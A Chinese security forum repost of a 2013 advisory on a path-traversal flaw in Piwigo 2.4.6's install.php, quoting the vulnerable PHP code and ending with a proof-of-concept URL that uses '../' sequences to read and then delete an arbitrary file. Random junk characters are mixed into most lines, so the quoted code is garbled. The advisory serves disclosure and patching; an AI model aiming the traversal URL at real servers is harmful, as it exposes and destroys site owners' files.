找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2615|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。
3 E- H* F1 }# J- F) }7 D3 y4 N5 C8 m' z
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。8 ]. G8 e# B! T% d. i
====================================================================
9 D7 ]; p* l0 ]/install.php:8 q( F+ m4 W$ j* `" s* X" C1 u+ G
-------------2 ^" s4 j' S/ M. X- [
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))9 [2 ?' h4 ^7 L" N0 S
114: {& i9 d3 }! x3 o4 m! h
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];; x+ U0 h" W" B
116:   header('Cache-Control: no-cache, must-revalidate');) m9 A# o( I5 w- }5 T
117:   header('Pragma: no-cache');
# `" Y6 `6 \4 N7 u; w- M! J118:   header('Content-Disposition: attachment; filename="database.inc.php"');9 d  i; h+ \9 G1 N
119:   header('Content-Transfer-Encoding: binary');
5 L4 d2 U' M8 ^; k( @2 }. p! S120:   header('Content-Length: '.filesize($filename));
/ [# T3 x3 W  ^5 f+ J) y121:   echo file_get_contents($filename);
1 a9 X3 @+ b6 P: ~122:   unlink($filename);
" h: Y1 j, f" D6 n  i, }, S123:   exit();4 r; g" W/ _$ Q* e, V) P' [" y
124: }% q" w7 V6 x2 L! p" R+ y  o
====================================================================& E+ H& m2 X" `
* g% Z$ I$ X! g4 f+ U2 M4 S
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)) R, e; @. W( v1 j/ k! t5 S
           Apache 2.4.2 (Win32)  P1 v4 h; M4 q) X- Y
           PHP 5.4.4
0 n" A9 s7 g7 c. w8 c- a& f           MySQL 5.5.25a5 H( p/ f# Z  O- e3 K8 ~
$ }/ S: B4 S4 g
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
' t! v4 m# f0 `0 q, T                            @zeroscience
5 I  P1 ~# l$ o+ D " Z- p* I0 G% ~& M" S1 L1 ~& x
Advisory ID: ZSL-2013-5127: f4 ?# E7 V% O- u
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
! W- [/ w1 `" WVendor Patch: http://piwigo.org/bugs/view.php?id=2843
& ~! \; S9 _2 _3 C- h: M% A
! ?% Y6 a5 X9 q$ {! [15.02.2013+ J8 Z$ g7 M! V% m& Q. U2 o1 `

9 ^7 w% y) f, s" i3 M% w--
, A1 W, S$ `- _8 B( ?. w! J5 Lhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
5 J  ]' L& S* W 7 W  I+ D# I2 b, o* s6 A4 L3 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表